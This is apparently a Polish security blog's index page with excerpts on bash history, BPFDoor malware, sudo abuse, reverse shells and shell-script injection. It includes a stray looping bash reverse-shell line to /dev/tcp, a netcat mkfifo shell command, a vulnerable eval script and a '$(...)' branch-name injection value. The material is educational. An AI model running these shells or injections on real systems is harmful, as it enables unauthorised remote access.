K

ażde polecenie jest zapisywane w historii powłoki. Możemy ją ograniczać; obchodzić te ograniczenia; dodawać do niej czas wykonania poleceń; ulepszać wyszukiwanie itd. Najprostszym sposobem korzystania z historii jest używanie klawiszy kursora góra/dół. Większość użytkowników jest świadoma skrótu [Ctrl]+R. Naciskasz kombinację [Ctrl]+R (R jak reverse – wyszukiwanie wsteczne) kilka razy i jak przegapisz szukane polecenie, przewracasz oczami, naciskasz [Ctrl]+C i szukasz ponownie. Dlaczego w takim przypadku nie użyć wyszukiwania „do przodu” np. za pomocą [Ctrl]+S ? Otóż w standardowej konfiguracji kombinacja [Ctrl]+S zawiesza terminal, a [Ctrl]+Q go odwiesza. Funkcjonalność ta pochodzi z dawnych czasów i przydawała się m.in. przy zatrzymywaniu przepływu danych przez terminal. Dzisiaj już raczej się jej nie wykorzystuje. W celu wyłączenia tej funkcji i przywrócenia możliwości przeszukiwania historii wystarczy dodać linię do startowego pliku powłoki:

echo "stty -ixon" >> ~/.bash_profile

Teraz możemy przeszukiwać historię wstecz i do przodu używając [Ctrl]+R i [Ctrl]+S.

Więcej informacji: How to unfreeze after accidentally pressing Ctrl-S in a terminal?

B

adacze bezpieczeństwa odkryli wysoce inwazyjne, chińskie narzędzie inwigilacyjne wykorzystujące Berkeley Packet Filter (BPF). Złośliwe oprogramowanie, nazwane BPFDoor, może być obecne na „tysiącach” systemów Linux, a jego kontroler pozostał prawie całkowicie niezauważony przez producentów zabezpieczeń punktów końcowych, mimo że jest używany od co najmniej pięciu lat. Jest to już drugi rodzaj złośliwego oprogramowania wykorzystującego BPF w Linuksie do ukrytej inwigilacji, który został ujawniony w tym roku, po odkryciu przez Pangu Lab w lutym 2022 r. backdoora NSA o nazwie Bvp47. Wówczas badacz bezpieczeństwa Kevin Beaumont zasugerował, że BPF (lub rozszerzony BPF – eBPF) jest wykorzystywany przez innych aktorów stanowiących zagrożenie. Beaumont, który wcześniej pracował w firmie Microsoft, ostrzegał wtedy przed konsekwencjami niebezpieczeństwa związanym z wprowadzeniem eBPF na inne platformy poza Linuksem: „Naprawdę, naprawdę mam nadzieję, że Microsoft opracował model zagrożenia, co się stanie z bezpieczeństwem, gdy wprowadzi eBPF do podstawowego systemu operacyjnego” (firma Microsoft w marcu 2021 roku zapowiedziała projekt open source, aby umożliwić działanie eBPF w systemie Windows 10 / Server 2016 i nowszych).
[ czytaj całość… ]

while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done 

T

a część będzie zupełnie inna od poprzednich trzech (1, 2, 3). Jako użytkownik polecenia sudo na pewno zauważyłeś, że czasami sudo nie prosi o hasło, ponieważ pamięta nas jako użytkownika. Jak to się dzieje, że jesteśmy pamiętani? Czy możemy sfałszować taką tożsamość i uzyskać prawa administratora? Otóż sudo tworzy plik dla każdego użytkownika Linuksa w /var/run/sudo/ts/$USER. Pliki te zawierają udane i nieudane procesy uwierzytelnienia, które są używane przez sudo do zapamiętywania wszystkich uwierzytelnionych procesów.
[ czytaj całość… ]

Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

T

rzecia część [ 1 ] [ 2 ] będzie poruszać ataki wstrzykiwania do skryptów powłoki. Te typy ataków występują, gdy użytkownik dostarcza jako argumenty przechowywane w zmiennych skryptu spreparowane polecenia lub wartości zamiast oczekiwanych danych wejściowych. W dodatku użyte zmienne są pozbawione znaków cytowania, które służą do usuwania interpretacji znaków specjalnych przez powłokę. Na przykład:

#!/bin/bash

read LOGIN
read COMMAND
if [ x$LOGIN = xroot ]; then
    echo $LOGIN
    eval $COMMAND
fi

[ czytaj całość… ]

W

drugiej części naszej serii zajmiemy się atakami na katalogi, które są dostępne do zapisu dla wszystkich użytkowników. Pliki znajdujące się w tych katalogach podatne są na atak polegający na możliwości zastąpienia ich innym, „złośliwym” plikiem, który skrypt zamierza odczytać lub zapisać.
[ czytaj całość… ]

B

ezpieczeństwo, jeśli chodzi o pisanie skryptów shell bywa różne. Większość użytkowników skupia się zazwyczaj na rozwiązaniu napotkanego problemu programistycznego lub automatyzacji żmudnego zadania. Nie doprowadzanie w kodzie do luk umożliwiających późniejszą ich eksploatację schodzi na drugi plan. Dlatego w tej serii zostanie opisanych kilka typowych błędów popełnianych w skryptach shell oraz sposoby, w jaki można je wykorzystać i nim zapobiec.
[ czytaj całość… ]

C

iekawe demo oraz słuszność swojego pomysłu przedstawił N.J. Hartwell. Pokazuje on, że niektóre znaki zachęty szczególnie te, którym dołożono wyświetlanie nazwy brancha git mogą być podatne na wykonanie dowolnego kodu. Można oszukać naszą, lokalną powłokę, aby wykonała polecenie lub skrypt, jeśli nazwiemy nasz branch na przykład tak: $(./skrypt.sh). Jak sprawdzić czy nasz prompt jest podatny? Wystarczy, że ściągniemy to repozytorium i wejdziemy do niego za pomocą polecenia cd. Jeśli prompt naszej powłoki niepoprawnie przeprowadzi interpretację zestawu znaków $(..) to wykona skrypt ./pw3n i wyświetli (na szczęście) tylko odpowiedni komunikat.

S

udo jest narzędziem stosowanym w świecie systemów Unix i Linux do „bezpiecznego” ograniczenia dostępów do poleceń i plików wymagających praw administratora. Różni się tym od polecenia su -, że su daje natychmiastowy dostęp do konta root. Sudo natomiast pozwala na dostrojenie, które rzeczywiście polecenia mogą zostać uruchomione z wyższymi uprawnieniami. Problem z sudo jest taki, że nie jest ono w stanie przewidzieć / ograniczyć dalszych działań uprawnionych programów, ani upewnić się, że środowisko wokół tych programów nie posiada żadnych luk konfiguracyjnych, które mogą negatywnie wpłynąć na rozszerzenie nadanych praw.
[ czytaj całość… ]